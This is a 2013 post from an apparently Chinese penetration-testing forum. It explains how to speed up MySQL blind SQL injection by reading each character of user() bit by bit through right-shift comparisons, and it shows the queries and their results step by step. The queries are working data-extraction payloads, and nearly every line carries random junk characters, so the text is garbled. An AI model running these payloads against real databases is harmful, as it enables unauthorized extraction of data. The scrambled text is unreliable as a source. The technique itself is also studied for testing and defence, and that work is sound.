中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位& b) U3 w( r! }
, T$ N0 W' \0 w$ y( V
8 F# y6 i* r' T& H' W# \% J

: V& y, ?5 h7 B下面将以查询mysql数据库当中user()的第一位为例:" H2 c+ S; O0 ^% p
. d/ ~& X# k  h6 @) _9 Q
0 Z- f" G: |9 \7 A
- J& x. x# j' F* \+ @
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
6 }$ A7 |3 y* M1 q, j5 [3 O& h+ B( x! g) L$ D

& m$ E$ J+ D2 E3 W7 z
5 J, j' s- d' q; `$ U* s; N, |首先执行如下sql语句:( l# {' A2 O7 I* ^5 q

4 D0 w: I/ z4 C/ I/ W ; H4 y8 {- {/ U& w% x' e6 L9 V
" Q$ E3 ?5 q, I9 ?! c5 |
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;2 z. K. a& D% m* K

5 q( b, ~" N% H# W. i ( C+ a; m9 @6 b0 X
1 b& @' \7 q% a
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
( O5 x7 k2 e  t1 p4 C6 d
$ B, q5 n+ w1 B  d# S % i( e, I. y6 [% |& b5 h
" M* `% s0 z7 m7 H) X
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1/ ~, C3 x/ H% n+ Y9 R  E
5 N* n. d; I; u7 f; t* Y! }

; I# `# u6 q: P1 m
/ V" G+ N2 \" u/ U; U( |如果运算结果为1,说明第一位为0,不为1
; [9 A+ d8 j& i0 N# t
9 L) p4 S) R$ u, d 9 [6 q* k% d! `9 C( H! r, b

+ C' T; a% }" {. `- M1 H+————————————–+& i1 \4 I5 z0 G( a/ u

4 }" [. d  a; x; _0 q" h0 V| (ascii((substr(user(),1,1))) >> 7)=0 |
  M: ?0 V* n' H+ s) C5 u: k. ~0 H$ a) c0 Q! H. O% j" B
+————————————–+
8 L+ H" Z7 d. m9 o. J, \
4 l& j* A# Q" w* ?| 1 |
4 ]6 d9 f/ L2 u! J2 u4 t2 J9 P% J3 w& e; w0 }) V5 l
+————————————–+
6 Q7 r) u/ D1 f% i. z4 j
7 O2 p! s$ i( ?$ [. T1 d1 row in set (0.00 sec)5 S! @" h1 U' M* f# Q
- Z; e' a$ I; j- Z7 ]+ m2 v6 c6 H
这样我们就确定这个8bit的ascii的第一位为0: U. G4 L7 ~, E8 ]* ?, N1 o' S
& S9 f! T( {& x# {, {* w

) v' N, J- N0 a. {" y. ^/ I4 ]- x( t6 U8 k
第二次我们来做6次右偏移来确定前两位
- @+ z3 `% c, |$ c* E- g* H/ I
+ n2 S3 E3 {& v2 ~ 5 X+ s  O( ?' {# O9 z, I

- |9 A" i' ^, h" F+ z前两位可能是01或00,即依然可以与0做比较,4 T; s0 o' q6 e8 J, g1 t2 F! P0 {; Q

$ i3 [6 x# t) A( G2 T( @mysql> select (ascii((substr(user(),1,1))) >> 6)=0;' h1 D4 k, v1 P- T; G) M- L

3 J) H( `- W$ m5 }* u+————————————–++ m- Q* f- `1 ]9 ~- f% t
. N6 V# L1 ~$ k. K
| (ascii((substr(user(),1,1))) >> 6)=0 |$ H- O7 R. j( A. y- a7 @
8 U+ z: i) W( k
+————————————–++ R6 q- J" d) M) v, K
: X  l5 |2 Q9 O! r( @
| 0 |2 c. }, D! c3 t

' x" s5 F0 I# w+ x! W! @3 S+————————————–+
; w* o2 z7 I" w1 i: z- U) U. P4 X# M* V
1 row in set (0.00 sec)
. G  Y: c: q. P+ a4 R( a
; ^; s6 T, o$ x' v6 @
; d/ S  `% B: U6 Q. B$ Y; }/ f+ X' ?0 U# K
结果为0,即第二位为18 G$ S( K3 F& G, Z  x+ }

$ U0 \# Z% `. C3 X2 b  P* q- v * x5 W3 D$ A9 W! P. `) p# W
" x$ N* p9 o2 ~2 ?
开始猜测前三位为010或0111 A: N& C$ b8 Q9 |  v

3 |1 `1 q$ C! L3 p# p
# v0 r1 O3 v8 P+ Z5 a% c6 i1 i5 }/ V
让我们看看010和011的ascii码是多少4 O/ p  R' A2 V2 i2 B! P; p

% F; L/ j; H$ l# q/ E6 r
6 Z* V+ H9 X- r  D1 K. j( G2 e4 r' _# m2 `" l' l
分别查询select b’011′ select b’010′% J: K5 j7 W" y) e: Y. F8 |

7 h, }! D, C  d' [) A- U$ v: p6 ^8 D
3 x+ |% i1 y, G0 A7 b; t1 _+ y) O5 d. M
获得结果 010 = 2 011 = 35 y$ n$ f9 z+ t* a* _

; n: m; u, y5 E- Z9 j
" v: l# o0 d2 [& o! V. P( D3 ]7 }3 D0 a' }
执行如下sql:1 i6 D- d8 ^4 x) q5 n0 [
9 Q% o$ ^- [0 _7 i0 m

; {7 ?" w* P" s* t; h$ ]6 C+ b: k3 j) w+ T; B; H6 n
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+ l% g) d4 s* P4 a/ p1 Z+ ?8 I/ w- \; g" x% z! v* d9 H
+————————————–+0 l% H  c4 N& c- S
0 e7 _2 e, U, \( g  F
| (ascii((substr(user(),1,1))) >> 5)=2 |
6 ]. K2 o7 u4 f7 B+ }
  C0 E" J  w& y* m3 f1 x; e+————————————–+8 l9 e( g, p& e8 ]$ n
# ^7 {' @* n, m, U4 G" v- s
| 0 |
3 X3 J5 F& e! X) O9 L7 z# s
8 Q1 M8 U3 w* i+ g+————————————–+
& k# j. J1 z7 {1 k; ^, r! O8 K: M: [& A' s# z1 }2 \
即前三位不为010,而是0113 j3 g5 k, h3 |! S" i
" Z* y1 h" Z6 W! m+ }9 ]+ h

7 G, L; _- P3 o
5 `3 ~' D4 N4 ~! |/ z直到获得最后一位- v/ [% J  b: B: a

+ O* u' @6 `" q# y6 P7 k( l6 J/ k) Q
4 M" C4 F& {5 C$ v9 g0 K# ~1 D# b  k" ]) T% W
最终结果为:011100108 B) X8 v- }0 H* H" s
# [2 P2 d  ?9 j4 V+ s% m

) }$ ]* V; c& P  {
  j8 a( v2 K, F; P7 H转换一下:8 ]* S7 m8 R5 {+ V

& ~  v" r. ~/ h5 t- j4 e
, \$ o9 J* B# Y  j. B1 z  m& ^; L% N4 i
select b’01110010′/ F$ ?5 `: y! Z/ r/ I7 g

- {8 V5 y3 {( f: \
; \: B8 @  q% P9 o/ o! `( I. m& W8 {. z) s. t8 g0 O2 s
查询结果
1 F% m! G' I- J) @4 S2 O7 r
. Z% T' ]' q) X9 Q- G- g
! r2 u! h$ K9 y# K" j  ^
5 A% h2 \- c( Z& b( B0 \! S+————-+1 r# |$ W: p2 e
) l3 x+ m7 K! Q& X
| b’01110010′ |
& }7 Y/ N: l; _/ \# n* a! O2 i4 h( `$ k5 F4 K: h6 k
+————-+
+ R( v% o& I+ j* P& |. P6 W% e9 z
# f$ |5 x- W$ P9 O% @  T6 p| r |
8 A: X. o8 s% ]# j; V2 l9 L+ c+ R- ~0 w
+————-+
2 U' L- f: w' M! Q3 I* a) [8 t5 y- w  ~1 r2 [3 f1 T' h
1 row in set (0.00 sec); [2 w4 X* s5 x* w" l" @
3 B) A8 u/ a, {

$ k1 b: n4 ]3 h% ~  o: w0 r! V* `" m  l5 }! z. o) L
这样我们就获得了user()的第一位.其它位依此类推$ H+ o. S/ o- C" v
9 F* z  A4 I" t9 c  C





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2